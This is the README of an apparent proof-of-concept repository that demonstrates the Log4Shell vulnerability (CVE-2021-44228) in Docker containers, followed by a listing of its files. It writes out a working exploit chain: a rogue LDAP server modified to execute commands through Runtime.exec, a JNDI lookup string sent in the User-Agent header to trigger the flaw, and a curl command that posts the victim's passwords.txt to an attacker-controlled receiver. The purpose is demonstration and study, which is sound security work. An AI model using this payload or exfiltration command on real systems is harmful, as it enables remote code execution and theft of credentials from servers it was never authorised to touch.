# CVE-2021-44228-docker-example
A simple demonstration of CVE-2021-44228 to transfer data from a vulnerable server to a web service controlled by an attacker.
All components involved are running via Docker.
## Components
### vulnerable-server
This is a standard Java server acting as the victim. It's running:
- Java `8u111`
- Web Application (Spring Boot 2.6.1)
- Log4J
**This server is `VULNERABLE` using this configuration.**
Additional Information:
- endpoint at `/logging` (GET) will log the user agent using Log4J
- `/foo/passwords.txt` exists (the attackers target)
Content of `passwords.txt`:
```text
my secret
```
### malicious-receiver
This is a standard Java server acting as the data collector of the attacker. It's running:
- Java `17`
- Web Application (Spring Boot 2.6.1)
Additional information:
- endpoint at `receiver` (POST) will log the request body
### malicious-ldap
This is an LDAP server powered by [rogue-jndi](https://github.com/veracode-research/rogue-jndi).
Its `ExportJava` class has been modified so that commands passed via the `-c` flag get executed.
```java
public ExportObject() {
try {
Runtime.getRuntime().exec(Config.command);
} catch(Exception e) {
e.printStackTrace();
}
}
```
When requested by the vulnerable server it will respond with a class running the following command when instantiated:
```shell
curl -XPOST http://172.18.18.11:8082/receiver --data-binary @/foo/passwords.txt
```
This will effectively post the content of `/foo/passwords.txt` to the malicious receiver's prepared endpoint.
## Usage
1. setup Docker images by running:
```shell
./build.sh
```
2. start component containers by running:
```shell
./start.sh
```
3. trigger the vulnerability by running:
```shell
curl -A '${jndi:ldap://172.18.18.10/o=reference}' localhost:8081/logging
```
4. check the logging output of the malicious receiver component by running:
```shell
docker logs --timestamps docker_malicious-receiver_1
```
There should be the content of the server's `passwords.txt` file.
5. stop component containers by running:
```shell
./stop.sh
```
[4.0K] /data/pocs/56c218318accd7296ac2e89132d32829bf10e6aa
├── [ 429] build.sh
├── [4.0K] docker
│ ├── [ 884] docker-compose.yml
│ ├── [4.0K] ldap
│ │ ├── [ 180] ldap.Dockerfile
│ │ ├── [ 11M] RogueJndi-1.1.jar
│ │ └── [ 170] start.sh
│ ├── [ 130] receiver.Dockerfile
│ └── [ 170] server.Dockerfile
├── [ 703] pom.xml
├── [2.1K] README.md
├── [4.0K] receiver
│ ├── [ 11K] cve-2021-44228-evil-receiver.iml
│ ├── [1.6K] pom.xml
│ └── [4.0K] src
│ └── [4.0K] main
│ ├── [4.0K] java
│ │ └── [4.0K] foo
│ │ └── [4.0K] bar
│ │ └── [4.0K] cve202144228evilreceiver
│ │ ├── [4.0K] api
│ │ │ └── [ 668] ReceiveEndpoint.java
│ │ └── [ 361] Cve202144228EvilReceiverApplication.java
│ └── [4.0K] resources
│ └── [ 21] application.yml
├── [4.0K] server
│ ├── [ 12K] cve-2021-44228-server.iml
│ ├── [1.9K] pom.xml
│ └── [4.0K] src
│ └── [4.0K] main
│ ├── [4.0K] java
│ │ └── [4.0K] foo
│ │ └── [4.0K] bar
│ │ └── [4.0K] cve202144228server
│ │ ├── [4.0K] api
│ │ │ └── [ 773] LogEndpoint.java
│ │ └── [ 343] Cve202144228ServerApplication.java
│ └── [4.0K] resources
│ └── [ 21] application.yaml
├── [ 150] start.sh
└── [ 149] stop.sh
20 directories, 21 files